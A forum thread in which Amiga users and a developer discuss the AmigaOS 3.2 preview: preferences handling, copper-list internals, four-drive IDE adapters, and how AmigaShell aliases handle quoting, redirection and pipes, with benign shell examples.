http://aminet.net/package/util/cdity/DM_MinMax (http://aminet.net/package/util/cdity/DM_MinMax)

It's good also, but the control should be on the window zip button not depth. So personally I just have the Workbench module installed.
Title: Re: Os 3.2 development preview
Post by: kolla on September 06, 2019, 09:41:06 PM
Presets can already be loaded via scripts.
Yes, and then you need to have them available. Meaning you have to enter whatever prefs program, set parameters and save to file all possible settings you may wish to have available.

Quote
Can you explain the need for more control from the command line?

Sure.

* different palette settings depending on what daylight there is, with darker settings at night - currently I do this by juggling preset files, I would prefer to send RGB values regarding the various pens directly.
* sounds prefs, audio bell - I wish to control at least the volume without having one setting file per possible volume setting.
* ASL prefs - depending on context, I want to control how ASL requesters sort files so I don't have to do it manually every time
* screenmode/overscan - I want to control certain screen properties.. width, height, depth.. in one go, without needing to keep dozens of preset files around
* serial - I wish to easily change properties like baud rate from CLI/ARexx, as AUX:, SER: etc. AFAIK do not have parameters for such.
  (Yes, I know there are options, like using http://aminet.net/package/util/libs/DigNet)

Quote
I've always liked the way AmigaOS handles prefs and I like the env/envarchive 'thing' which I think is rather elegant and efficient.

Me too.

Quote
Also, why would I want other software to be mucking around with my preferences? Any software mucking around with my preferences gets deleted!

I don't know where you get this from, I am talking about the user - me - being able to control the preferences of my computer from my preferred user interface. There is nothing that prevents programs from mucking with your preferences already.
Title: Re: Os 3.2 development preview
Post by: paul1981 on September 08, 2019, 07:29:36 PM
@kolla
Though I don't feel as if I have a need for those features, those do seem reasonable requests for OS3.2, and it can be done without changing anything noticable to the average user too.

So it's tweaks to the prefs programs for command line control. Can it be done Thomas without too much difficulty?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 08, 2019, 08:37:11 PM
The preferences format is a well-document open IFF format. Changing the format not only risks incompatibilities, it also requires the creation and integration of a robust parser into the system, wasting development resources we really need for more important issues.
Title: Re: Os 3.2 development preview
Post by: SamuraiCrow on September 08, 2019, 09:29:59 PM
Likely not. I do not even know what this should mean (what is a "copperlist fade"? What is a dynamically updated copperlist? UCopperListInit and friends exist already, so you can certainly update them) Essentially, the way how the graphics.library code looks, it is more at the end of its lifetime, and we should really replace that by something different and more "cleaned up".

For 3.2, no major works on graphics are planned, except a better integration of AllocBitMap() into the P96 model that doesn't change a thing for native graphics. I believe this is about it.

MrgCop() and it's macros do not expose sufficient capabilities on AGA or earlier so the OS routines should not be used by anyone trying to target such systems.  At least I agree that Graphics.library is EOL.

Personally, I think that a full VM like what AmigaDE started to be would allow such things as inline code contained in the graphics drivers.  This would allow demo-code like capabilities to be accessible to what otherwise would be considered system-friendly code.  The AOT style JIT of AmigaDE did that (or would have done if Amiga Inc. had ever targeted their own systems  :o ).
Title: Re: Os 3.2 development preview
Post by: kolla on September 08, 2019, 10:11:00 PM
The preferences format is a well-document open IFF format. Changing the format not only risks incompatibilities
And I wasn't suggesting to change the format.
Quote
it also requires the creation and integration of a robust parser into the system
Yes, something that should exist at some point sooner or later anyways.
Quote
wasting development resources we really need for more important issues.
Nothing prevents this from being implemented by someone else - as you wrote - the preferences format is a well-document open IFF format.
Title: Re: Os 3.2 development preview
Post by: amigapassion on September 18, 2019, 08:43:03 PM
Great news!!
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 18, 2019, 09:14:37 PM
MrgCop() and it's macros do not expose sufficient capabilities on AGA or earlier so the OS routines should not be used by anyone trying to target such systems.
I'm not quite sure which capabilities this should be. The copper writes a value into a register - that's really it, it did not become more capable on AGA.

However, this aside, the problem is not even MrgCop(). The problem is that the system creates copperlists in one way, and then has a couple of extra functions that "poke" on the created copperlists, bypassing the regular copper list creation functions. This is particularly tricky for the copper "wait" functions as several (hardware) copper instructions need to be combined to make up a wait for an arbitrary position. Unfortunately, these "other" functions expect for that a particular form of the copper lists.

So we have two (actually even three) sets of functions that operate on the copper lists. Partially in C, partially in assembler. One abstract "copper list built-up function" aka MrgCop(), to which CMove and CWait() also belong, and the SetColorMapXX() functions (poke directly into the copper list) and the VideoControl functions, which also directly poke into the existing copper lists - both bypassing the abstraction layer. Changing one makes another one explode in your face.

As a side remark, Os 3.1 had exactly in this mess a bug: If you had a productivity screen and a workbench hi-res screen, and a 35ns sprite on the productivity screen, and a 70ns sprite on the workbench, and you closed the productivity screen, graphics would have scrambled your memory. The sprite size adjustment tried to "poke" an already existing copper list (instead of using the proper abstraction), but the copper list it referred to belonged to the screen that was just being closed, and thus was already released memory.
Title: Re: Os 3.2 development preview
Post by: x303 on September 18, 2019, 10:03:58 PM
The preferences format is a well-document open IFF format. Changing the format not only risks incompatibilities, it also requires the creation and integration of a robust parser into the system, wasting development resources we really need for more important issues.

Why not use xml for that and use iff (import) as 2nd option ?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 19, 2019, 12:30:46 AM
Why not use xml for that and use iff (import) as 2nd option ?

Why not use json as third option?

Ok, now, be serious: All of this is of little use for the average user. In those cases where it is of use, it is equally well possible to scan the binary prefs as they are, or for those that love ASCII, write a converter tool between an ASCII representation and the binary representation. It shouldn't be too hard to write up a small service program that keeps a notification on an ASCII representation (I like json) of the prefs, and in case this changes, updates the binary prefs. Or vice versa. There is no need to touch the prefs programs for that, it could all work transparently with a daemon program in the background.

Now, are there still volunteers for this idea?
Title: Re: Os 3.2 development preview
Post by: dalek on September 19, 2019, 02:06:48 AM
Not sure where feature requests go, but if 3.2+ could have an update to scsi.device to natively support the 4-way IDE adaptors on the 4000/1200's rather than using the old IDEFix hack, that would be neat!
Title: Re: Os 3.2 development preview
Post by: Minuous on September 19, 2019, 04:31:05 AM
Why not use xml for that and use iff (import) as 2nd option ?

That would be contrary to the official Style Guide: "It is recommended that you use an IFF FORM for preferences files." Also, XML would be much less efficient.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 19, 2019, 10:22:32 AM
Not sure where feature requests go, but if 3.2+ could have an update to scsi.device to natively support the 4-way IDE adaptors on the 4000/1200's rather than using the old IDEFix hack, that would be neat!
No - why? Did IDEFix stop working in 3.1.4?
Title: Re: Os 3.2 development preview
Post by: kolla on September 19, 2019, 12:41:01 PM
All of this is of little use for the average user.

You just summed up all the work you ever did to Amiga shell.

Quote
It shouldn't be too hard to write up a small service program that keeps a notification on an ASCII representation (I like json) of the prefs, and in case this changes, updates the binary prefs. Or vice versa. There is no need to touch the prefs programs for that, it could all work transparently with a daemon program in the background.

Now, are there still volunteers for this idea?

That was exactly my idea in the first place - and with such a daemon (IPrefsNG for teh lolz) in place, it is easy to write all kinds of new prefs programs without much hassle.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 19, 2019, 12:58:24 PM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.

Possibly bubbob42 is already working on such thing, as he stated a suspicious line on EAB
Quote
I just had a similar problem because I wanted to exchange gadgets in a window depending on the item selected in a listview gadget (which itself would stay visible all the time. Here’s what I did:
;) :o

I remember a 'Registry'-style preferences tool back in the days, dunno, if this was ever considered to be adapted. 'Registry' meaning all prefs' IFF chunks in one big prefs file together.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 19, 2019, 02:07:54 PM
I remember a 'Registry'-style preferences tool back in the days, dunno, if this was ever considered to be adapted. 'Registry' meaning all prefs' IFF chunks in one big prefs file together.
For that, you wouldn't even need to modify IPrefs. IPrefs just reads the IFF files it monitors, and forwards the chunks it finds to the corresponding system components. Which chunks are in which files does not even matter to it.
Title: Re: Os 3.2 development preview
Post by: kolla on September 19, 2019, 02:44:21 PM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.
Or OS 1.x

Quote
I remember a 'Registry'-style preferences tool back in the days, dunno, if this was ever considered to be adapted. 'Registry' meaning all prefs' IFF chunks in one big prefs file together.
Also on OS 1.x, DEVS:system-configuration (if I remember correctly).

Note that one can still run old OS 1.x "Preferences" under OS 3.x and DEVS:system-configuration is still read on boot, even when booting without startup-sequence - I use it to set a different "deault" palette than the white/black/grey/blue of OS2 and 3.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 19, 2019, 03:25:42 PM
Yes, but the latter only holds 232 Bytes with limited information and not in a flexible format. While now one could bundle several chunks of all kinds together, making even different combinations of setups easily manageable.
Title: Re: Os 3.2 development preview
Post by: SamuraiCrow on September 19, 2019, 05:39:39 PM
MrgCop() and it's macros do not expose sufficient capabilities on AGA or earlier so the OS routines should not be used by anyone trying to target such systems.
I'm not quite sure which capabilities this should be. The copper writes a value into a register - that's really it, it did not become more capable on AGA.

However, this aside, the problem is not even MrgCop(). The problem is that the system creates copperlists in one way, and then has a couple of extra functions that "poke" on the created copperlists, bypassing the regular copper list creation functions. This is particularly tricky for the copper "wait" functions as several (hardware) copper instructions need to be combined to make up a wait for an arbitrary position. Unfortunately, these "other" functions expect for that a particular form of the copper lists.

So we have two (actually even three) sets of functions that operate on the copper lists. Partially in C, partially in assembler. One abstract "copper list built-up function" aka MrgCop(), to which CMove and CWait() also belong, and the SetColorMapXX() functions (poke directly into the copper list) and the VideoControl functions, which also directly poke into the existing copper lists - both bypassing the abstraction layer. Changing one makes another one explode in your face.

As a side remark, Os 3.1 had exactly in this mess a bug: If you had a productivity screen and a workbench hi-res screen, and a 35ns sprite on the productivity screen, and a 70ns sprite on the workbench, and you closed the productivity screen, graphics would have scrambled your memory. The sprite size adjustment tried to "poke" an already existing copper list (instead of using the proper abstraction), but the copper list it referred to belonged to the screen that was just being closed, and thus was already released memory.

The biggest problem with MrgCop and its macros and support functions is that it doesn't and cannot sort blocks into the order that they are supposed to go in.  If you are using dual-playfield mode and color changes for the sprites, for example, trying to get all the copper instructions to line up with both playfields and 8 other moving objects requires sorting, not just merging.  One hardware banging engine written in C uses a "blocks mode" where the first instruction in a block is a copper wait and all additional copper move instructions are after it in a form that resembles Chomsky Normal Form.  This allows all the blocks of copper instructions to be properly sorted with minimal overhead.

This allows the "infinite vertical scroll wraparound" that uses the modulo register to make the bitplane pointers all jump to the top of the buffer when the end is reached with a negative signed addition and then reverts the modulo register the next rendered row of pixels.  It's only 2 waits and 2 moves but they aren't always in the same order when you do it on both playfields.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 19, 2019, 09:33:26 PM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.
Or OS 1.x
Actually, this is not the same.
WB1.x has only one Prefs editor (I think pointerprefs is just merged in or so) . OSX and MOS have several separate editors, called Panes (OSX) that are loaded when clicked.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 19, 2019, 10:30:43 PM
The biggest problem with MrgCop and its macros and support functions is that it doesn't and cannot sort blocks into the order that they are supposed to go in.  If you are using dual-playfield mode and color changes for the sprites, for example, trying to get all the copper instructions to line up with both playfields and 8 other moving objects requires sorting, not just merging.  One hardware banging engine written in C uses a "blocks mode" where the first instruction in a block is a copper wait and all additional copper move instructions are after it in a form that resembles Chomsky Normal Form.  This allows all the blocks of copper instructions to be properly sorted with minimal overhead.
I'm sorry, but I'm not sure what you want to tell. CMove and CWait both go into the user copper list, and MrgCop() does not change the order of instructions on this list. What it does is that it merges the (abstract) user copper list, the (abstract) copper list of the VSprite system and the (abstract) copper list of the view port arrangement into one hardware list. As long as there is a single VPort, it does not matter whether it runs in dual playfield mode or not.

Thus, while you cannot guarantee the relative order of the user copper list relative to the vsprite copper list, the relative order of instructions within each list is stable.
Title: Re: Os 3.2 development preview
Post by: Matt_H on September 20, 2019, 02:13:19 AM
Not sure where feature requests go, but if 3.2+ could have an update to scsi.device to natively support the 4-way IDE adaptors on the 4000/1200's rather than using the old IDEFix hack, that would be neat!
No - why? Did IDEFix stop working in 3.1.4?

No, but it's a hack originally created to work around a limitation in the OS at a time when the OS was out of development. Similarly, atapi.device from the same package was necessary because the IDE scsi.device didn't know how to handle CD drives. With the OS back in development, my understanding is that the latter issue has been solved and atapi.device is now redundant. The former should be made redundant at some point in the future as well. Granted, it's a low priority given that IDEfix "works," but at some point it really should go.
Title: Re: Os 3.2 development preview
Post by: SamuraiCrow on September 20, 2019, 02:33:17 AM
I'm sorry, but I'm not sure what you want to tell. CMove and CWait both go into the user copper list, and MrgCop() does not change the order of instructions on this list. What it does is that it merges the (abstract) user copper list, the (abstract) copper list of the VSprite system and the (abstract) copper list of the view port arrangement into one hardware list. As long as there is a single VPort, it does not matter whether it runs in dual playfield mode or not.

Thus, while you cannot guarantee the relative order of the user copper list relative to the vsprite copper list, the relative order of instructions within each list is stable.
The main problem with the current abstraction is that it stores one virtual instruction per "block" and CBump() moves immediately to the next instruction which prevents grouping of related instructions.  A wait followed by a variable number of moves should be treated as a single "block" of memory so they can be sorted into the order needed regardless of the position being waited for at the beginning.

The ACE (Amiga C Engine) source is available as open-source on GitHub.  I should check the licence and make a Chipset.library to replace Graphics.library on systems that need chipset support.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 20, 2019, 05:48:09 AM
No, but it's a hack originally created to work around a limitation in the OS at a time when the OS was out of development. Similarly, atapi.device from the same package was necessary because the IDE scsi.device didn't know how to handle CD drives. With the OS back in development, my understanding is that the latter issue has been solved and atapi.device is now redundant. The former should be made redundant at some point in the future as well. Granted, it's a low priority given that IDEfix "works," but at some point it really should go.
Sorry, but I'm confused. The original Amiga hardware supports one IDE channel, thus two devices (master, slave). The four-way adapters are to my knowledge proprietary extensions that require a hardware installation. Why is it a limitation of the Os when it does not support such proprietary extensions from third party?
Title: Re: Os 3.2 development preview
Post by: kolla on September 20, 2019, 08:51:33 AM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.
Or OS 1.x
Actually, this is not the same.
WB1.x has only one Prefs editor (I think pointerprefs is just merged in or so) . OSX and MOS have several separate editors, called Panes (OSX) that are loaded when clicked.
Right, those of macOS and MorphOS are modular (and if I recall correctly, due to nature of MUI, the MorphOS Prefs modules can even be launched individually). It's just one of many, many things that MorphOS has done much more elegantly than anyone else, and with help of Zune, AROS could do the same.
Title: Re: Os 3.2 development preview
Post by: kolla on September 20, 2019, 09:06:30 AM
Sorry, but I'm confused. The original Amiga hardware supports one IDE channel, thus two devices (master, slave). The four-way adapters are to my knowledge proprietary extensions that require a hardware installation.
Not much hardware, strictly speaking, only a custom cable is required. However, buffering is preferred so typically a small board is used, that both splits the IDE signals and add buffers.
Quote
Why is it a limitation of the Os when it does not support such proprietary extensions from third party?
Because it's not proprietary? Anyone can twist around IDE cables and add connectors. In addition, there are implementations of Minimig that support this "out-of-the-box" and let you use 4 disk images at once.

http://aminet.net/package/docs/hard/4IDE
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on September 20, 2019, 06:03:09 PM
Sorry, but I'm confused. The original Amiga hardware supports one IDE channel, thus two devices (master, slave). The four-way adapters are to my knowledge proprietary extensions that require a hardware installation.
Not much hardware, strictly speaking, only a custom cable is required. However, buffering is preferred so typically a small board is used, that both splits the IDE signals and add buffers.
Quote
Why is it a limitation of the Os when it does not support such proprietary extensions from third party?


To connect 4 IDE devices, you DO need the additional hardware to add support for another IDE channel. No playing with cables alone is going to allow you to connect more than two devices. The internal IDE controllers can only handle one IDE channel without hardware to add logic for a second IDE channel, thus only two devices on stock IDE controller period.

The Aminet link you provided is for just this sort of hardware. It's not for any cable shenanigans.
Title: Re: Os 3.2 development preview
Post by: paul1981 on September 20, 2019, 08:13:29 PM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.
Or OS 1.x

Quote
I remember a 'Registry'-style preferences tool back in the days, dunno, if this was ever considered to be adapted. 'Registry' meaning all prefs' IFF chunks in one big prefs file together.
Also on OS 1.x, DEVS:system-configuration (if I remember correctly).

Note that one can still run old OS 1.x "Preferences" under OS 3.x and DEVS:system-configuration is still read on boot, even when booting without startup-sequence - I use it to set a different "deault" palette than the white/black/grey/blue of OS2 and 3.

Yes, it would be handy if the 1.3 prefs editor was included, being as though the system-configuration file has always been supported even up to 3.x. It could be thrown in the Prefs drawer or Tools drawer with no icon, to make it kind of a hidden tool.

Failing that, there is always Jonathan Potter's 'Preferable Preferences' aka PPrefs on fish disk 242, which is a direct replacement:

http://aminet.net/package/misc/fish/fish-0242 (http://aminet.net/package/misc/fish/fish-0242)
Title: Re: Os 3.2 development preview
Post by: psxphill on September 20, 2019, 09:35:00 PM
To connect 4 IDE devices, you DO need the additional hardware to add support for another IDE channel. No playing with cables alone is going to allow you to connect more than two devices. The internal IDE controllers can only handle one IDE channel without hardware to add logic for a second IDE channel, thus only two devices on stock IDE controller period.

The Aminet link you provided is for just this sort of hardware. It's not for any cable shenanigans.

Actually the additional hardware is mostly for buffering, which allows it to go quicker somehow (if someone who understands how that works could explain then I'd appreciate it)

But getting 4 drives instead of 2 is very simple. ATA works very much like ISA, it's like a standard cpu bus. Each hard drive has 16 addresses allocated to it, but it's really only the first 8 that are really used.

Helpfully there is a separate pin that tells the drive whether the computer is accessing the first block of 8 or the second. If you feed each of those to the first block input of both drives, you can talk to 4 drives instead of 2. Essentially when you access the second block of registers of drive 0, you're actually accessing the first block of registers of drive 2.

From the standard: http://www.t13.org/documents/UploadedDocuments/project/d0791r4c-ATA-1.pdf

It's these

| HOST CHIP SELECT 0 37 | ----- CS1FX- -------->| 37 |
| HOST CHIP SELECT 1 38 | ----- CS3FX- -------->| 38 |

The second block of registers is actually quite sparse, by not being able to access the second block you lose three things
1. being able to soft reset the drive
2. being able to disable the irq generation
3. being able to read the "alternate status", which just returns the normal status without clearing any pending irq.

I'm not sure if the original scsi.device even relies on these in the first place & you can probably gate the irq further up (in gayle or intena). Not sure whether you can control the reset line of the ata bus using gayle (I have a vague recollection that cutting that was necessary for some drives anyway).

That is what the hacked cable in the aminet package does, it should work fine with the atapifix software. It would be great if scsi.device could be extended to support it, it would probably be very trivial. You'd want to come up with a detection for it, I think you could probably do it quite easily by trying to access a register in the second block that doesn't exist but is read/write in the first block.

Looking at "7.2 I/O register descriptions"

sector count would be a good one for detection.

CS3FX- (Control block registers)

| 0 | x | X | Data bus high imped | Not used |

CS1FX- (Command block registers)

| 0 | 1 | 0 | Sector count | Sector count |

(the two CS registers are active low)

I think the amiga linux distributions support it, so it's probably worth reading how they do it (aros 68k may also support it, I haven't looked at that code in years though)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 21, 2019, 02:52:01 AM
Yes, it would be handy if the 1.3 prefs editor was included, being as though the system-configuration file has always been supported even up to 3.x. It could be thrown in the Prefs drawer or Tools drawer with no icon, to make it kind of a hidden tool.
The preferences system changed quite a bit from 1.3 to 2.x style, so a 1.3 prefs editor is not sufficient. Unfortunately, the overall logic is not very canonical. There are preferences intuition wants to learn over the old-style prefs system, but some are installed by additional intuition calls, like those for the input control. For the printer.device, unit #0 takes the prefs from system-configuration, but all other units from dedicated prefs files which are parsed by the printer.device directly.
Title: Re: Os 3.2 development preview
Post by: asymetrix on September 21, 2019, 03:00:21 AM

Even TODAY there are angry theme makers for other platforms because they cannot keep a compatible and easy system for people who enjoy making themes.

Is shell History a text list or is it a workflow automation/virtual environment session eg Vagrant ?
History *could* be a cli version of installer - simulate/test/undo/redo commands, then comit changes.

Could the soft-links work for example in a large project with all same header files all using soft-link to *one*, so
change *any* header (.h) changes all of them? - that would be nice to have.

virtual-path = URI
One could have virtual paths EG Workbench:virtual-path\test


Does 'replacing ROM components' mean replacing class/data structures, or like apt-get ?
This could mean UI elements can be updated with new features like auto crash reporting, UI dependency check/download
and also automated UI regression testing.

The most difficult part of programming Amiga API is figuring out how to interact safely with other libraries

At times I select a file and hit DEL expecting it to just delete. lol.

Unique ideas make for interesting and exciting times.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 21, 2019, 03:23:24 AM
Is shell History a text list or is it a workflow automation/virtual environment session eg Vagrant ?
It is first and foremost a command that lists the history whose output you can process by Shell tools. The implementation is that of an exec-style doubly linked list. There are currently no other tools around the history.

Could the soft-links work for example in a large project with all same header files all using soft-link to *one*, so
change *any* header (.h) changes all of them? - that would be nice to have.
Softlinks are soft-links, you can use them as you like.

Does 'replacing ROM components' mean replacing class/data structures, or like apt-get ?
AmigaOs doesn't have dpkgs, it has modules. What L:System-Startup (or its ROM-version) does is that it replaces such modules.


This could mean UI elements can be updated with new features like auto crash reporting, UI dependency check/download
and also automated UI regression testing.
Well, for that you don't need System-startup. You can replace intuition boopsis right away without requiring a rom patch. But yes, intuition and gadtools are "loadable moduldes" system-startup can update from disk if it finds a newer version.


The most difficult part of programming Amiga API is figuring out how to interact safely with other libraries
Actually, the APIs are documented in the autodocs. Sometimes not as complete as they should, though.

At times I select a file and hit DEL expecting it to just delete. lol.
I suppose you mean on the workbench. Well, workbench is disk-based to begin with.
Title: Re: Os 3.2 development preview
Post by: kolla on September 21, 2019, 05:32:43 PM
No playing with cables alone is going to allow you to connect more than two devices. The internal IDE controllers can only handle one IDE channel without hardware to add logic for a second IDE channel, thus only two devices on stock IDE controller period.

The Aminet link you provided is for just this sort of hardware. It's not for any cable shenanigans.
Well, I managed to do it without making PCBs two decades ago, and it worked, the only components are two diods. Did you even look at the images in the archive?
Title: Re: Os 3.2 development preview
Post by: kolla on September 22, 2019, 10:37:11 AM
@Thomas Richter
Could you share your thoughts on behaviour of shell regarding aliases, brackets and pipes?

For example, a simple alias Find
Code: [Select]
Alias MyFind "List DATA: all files p=*"[]*" lformat *"%p%n*""the user may think then, that this would work...
Code: [Select]
Find myfile | command
But this currently expands to
Code: [Select]
List DATA: all files p="myfile | command" lformat "%p%n" and hence does (mostly!) nothing.

I don't know of any way to "terminate" the argument list of an alias, so one can use pipes with aliases. Does it exists? Will it exist in the future?

At last (bug)...
Code: [Select]
makedir RAM:test?
List all RAM:tes#?

It's very annoying when standard OS tools don't handle characters that are valid in filenames.. I hope the new tab-completion is smarter with file names containing parantheses etc, escaping them properly.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 22, 2019, 01:10:17 PM
Could you share your thoughts on behaviour of shell regarding aliases, brackets and pipes?

For example, a simple alias Find
Code: [Select]
Alias MyFind "List DATA: all files p=*"[]*" lformat *"%p%n*""the user may think then, that this would work...
Code: [Select]
Find myfile | command
But this currently expands to
Code: [Select]
List DATA: all files p="myfile | command" lformat "%p%n" and hence does (mostly!) nothing.
Right. "Alias" is quite a stupid buddy. It does blind substitution of its arguments, and it does not intend to understand what is on the command line. If you need smarter argument substitution, "execute" is your friend.

At last (bug)...
Code: [Select]
makedir RAM:test?
List all RAM:tes#?

It's very annoying when standard OS tools don't handle characters that are valid in filenames..
Sorry, I don't have an amiga here. What is the bug part? "makedir" creates a directory which has a question mark in its name. List itself does not do much with that. This is all handled by the dos.library pattern matcher (or arp pattern matcher).


I hope the new tab-completion is smarter with file names containing parantheses etc, escaping them properly.
The TAB expansion knows now the shell syntax, yes, including escaping of them for the arp pattern matcher. It also knows how to expand variables on the way, and the names of variables as well.
Title: Re: Os 3.2 development preview
Post by: kolla on September 23, 2019, 02:07:51 PM
Could you share your thoughts on behaviour of shell regarding aliases, brackets and pipes?

For example, a simple alias Find
Code: [Select]
Alias MyFind "List DATA: all files p=*"[]*" lformat *"%p%n*""the user may think then, that this would work...
Code: [Select]
Find myfile | command
But this currently expands to
Code: [Select]
List DATA: all files p="myfile | command" lformat "%p%n" and hence does (mostly!) nothing.
Right. "Alias" is quite a stupid buddy. It does blind substitution of its arguments, and it does not intend to understand what is on the command line. If you need smarter argument substitution, "execute" is your friend.

I fail to see how "execute" can substitute "alias", or do you suggest writing a script for every alias that have output one would wish to send through a pipe?

Quote
At last (bug)...
Code: [Select]
makedir RAM:test?
List all RAM:tes#?

It's very annoying when standard OS tools don't handle characters that are valid in filenames..
Sorry, I don't have an amiga here.
Hm, I thought you always had vamos at hand...

Quote
What is the bug part? "makedir" creates a directory which has a question mark in its name. List itself does not do much with that. This is all handled by the dos.library pattern matcher (or arp pattern matcher).
What happens is that "List", with "ALL" flag, will list the matching directory over and over and over again, as if it is a new directory that is matching, till you press ctrl-c, when it will summarise a total of many,many directories...

Quote
I hope the new tab-completion is smarter with file names containing parantheses etc, escaping them properly.
The TAB expansion knows now the shell syntax, yes, including escaping of them for the arp pattern matcher. It also knows how to expand variables on the way, and the names of variables as well.

Good. And now I also know how ctrl-r works in Amiga console - that only took me two decades... :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 23, 2019, 04:05:59 PM
I fail to see how "execute" can substitute "alias", or do you suggest writing a script for every alias that have output one would wish to send through a pipe?
That would work, yes. Alias is really not a very robust construction concerning parsing and argument subsitution. Old legacy C code drilled up from older legacy C automatically generated from even older legacy BCPL code.

Hm, I thought you always had vamos at hand...
Not in Taipeh and our IT department "we only do windows on business laptops, go away with your silly linux". )-:

What happens is that "List", with "ALL" flag, will list the matching directory over and over and over again, as if it is a new directory that is matching, till you press ctrl-c, when it will summarise a total of many,many directories...
That is a strange one, thank you. But that looks more like a defect in the arp pattern matcher because list does not contribute much to directory scanning.

Title: Re: Os 3.2 development preview
Post by: kolla on September 24, 2019, 11:51:48 AM
I fail to see how "execute" can substitute "alias", or do you suggest writing a script for every alias that have output one would wish to send through a pipe?
That would work, yes. Alias is really not a very robust construction concerning parsing and argument subsitution. Old legacy C code drilled up from older legacy C automatically generated from even older legacy BCPL code.

Well, all this is all very non-obvious, Alias is a shell internal, as are pipes and backticks etc, and this should be fixed somehow. I suppose one should look at how the shells of OS4, MorphOS and AROS behave in such cases.
Quote
Hm, I thought you always had vamos at hand...
Not in Taipeh and our IT department "we only do windows on business laptops, go away with your silly linux". )-:
Windows Subsystem for Linux for Enterprise isn't good enough? :)
Quote
What happens is that "List", with "ALL" flag, will list the matching directory over and over and over again, as if it is a new directory that is matching, till you press ctrl-c, when it will summarise a total of many,many directories...
That is a strange one, thank you. But that looks more like a defect in the arp pattern matcher because list does not contribute much to directory scanning.
Well, guess we can all have a peek in the sources and find out? FWIW, it does not happen with List v43.4 (03-Sep-00).
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 27, 2019, 01:20:08 PM
Well, all this is all very non-obvious, Alias is a shell internal, as are pipes and backticks etc, and this should be fixed somehow. I suppose one should look at how the shells of OS4, MorphOS and AROS behave in such cases.
Why? We are not doing OS4,Morphos or AROS here? Do the following under a 3.1 shell:

Code: [Select]
1.> alias ls list "[]"
1.> ls sys: >ram:t

What should happen? The shell uses a blind substitution, and places ">ram:t" into the backticks of the alias, thus you get a requester as list receives "sys: >ram:t" as argument. Should alias substitution stop at the >ram:t?

Then what about the following:

Code: [Select]
1.> alias ls list "[]"
1.> ls >ram:t sys:

what is now the argument to the alias? None? That is the consequence if parsing stops at the redirection.

Aliases are not shell functions or command replacements. They don't see redirections.

FWIW, it does not happen with List v43.4 (03-Sep-00).
It was a bug in "list" indeed.
Title: Re: Os 3.2 development preview
Post by: psxphill on September 28, 2019, 10:47:18 AM
What should happen? The shell uses a blind substitution, and places ">ram:t" into the backticks of the alias, thus you get a requester as list receives "sys: >ram:t" as argument. Should alias substitution stop at the >ram:t?

I personally think that the example you gave should have the >ram:t filtered out from the alias substitution & then applied to the command. Although there should probably be a way of overriding that behavior (maybe would need to think carefully about if that is when you set the alias or when you call it).

Not being able to redirect the output of an alias makes them pretty useless as a feature.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 28, 2019, 12:09:50 PM
Not being able to redirect the output of an alias makes them pretty useless as a feature.
Oh, you can redirect aliases. You just cannot place [] in double quotes and expect that the redirection makes it through. What [] does is that it grabs the rest of the line behind the alias and places it wherever the [] are. Thus

Code: [Select]
1.> alias ls list [] all
replaces
Code: [Select]
1.> ls ram: >t:out
by
Code: [Select]
1.> list ram: >t:out all
which works fine of course. However, if you enclose [] in double quotes, everything on the line is captured in double quotes, including the redirection. This may or may not be what you want, but this is how alias works.

Thus, in general, [] and double quotes are *probably* not what you want. Note well that if the argument to the alias is quoted, the quotes will remain intact after substitution of [] with the argument, so it makes little sense to put quotes there in first place. In that sense, the example given is probably flawed to begin with.
Title: Re: Os 3.2 development preview
Post by: kolla on September 28, 2019, 12:41:11 PM
Note that I never mentioned simple redirections, I was talking about something *BRAND NEW* for AmigaShell in 3.1.4 - effin’ PIPES!
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on September 28, 2019, 04:01:22 PM
Not being able to redirect the output of an alias makes them pretty useless as a feature.
Oh, you can redirect aliases. You just cannot place [] in double quotes and expect that the redirection makes it through. What [] does is that it grabs the rest of the line behind the alias and places it wherever the [] are. Thus

Code: [Select]
1.> alias ls list [] all
replaces
Code: [Select]
1.> ls ram: >t:out
by
Code: [Select]
1.> list ram: >t:out all
which works fine of course. However, if you enclose [] in double quotes, everything on the line is captured in double quotes, including the redirection. This may or may not be what you want, but this is how alias works.

Thus, in general, [] and double quotes are *probably* not what you want. Note well that if the argument to the alias is quoted, the quotes will remain intact after substitution of [] with the argument, so it makes little sense to put quotes there in first place. In that sense, the example given is probably flawed to begin with.

Could you please name the character that you are talking about enclosing in double quotes? For some reason it's showing as a block - an unknown character - on my browser.

Thanks
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 28, 2019, 05:17:03 PM

Could you please name the character that you are talking about enclosing in double quotes? For some reason it's showing as a block - an unknown character - on my browser.
No, it does not. It is really an opening and closing square bracket.
Title: Re: Os 3.2 development preview
Post by: kolla on September 28, 2019, 06:55:58 PM
lol
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on September 29, 2019, 06:26:23 AM

Could you please name the character that you are talking about enclosing in double quotes? For some reason it's showing as a block - an unknown character - on my browser.
No, it does not. It is really an opening and closing square bracket.

Dang, I had to zoom that all the way in to see that little gap between the brackets. My old eyes seriously saw it as a square :)
Title: Re: Os 3.2 development preview
Post by: Gulliver on September 29, 2019, 12:01:06 PM

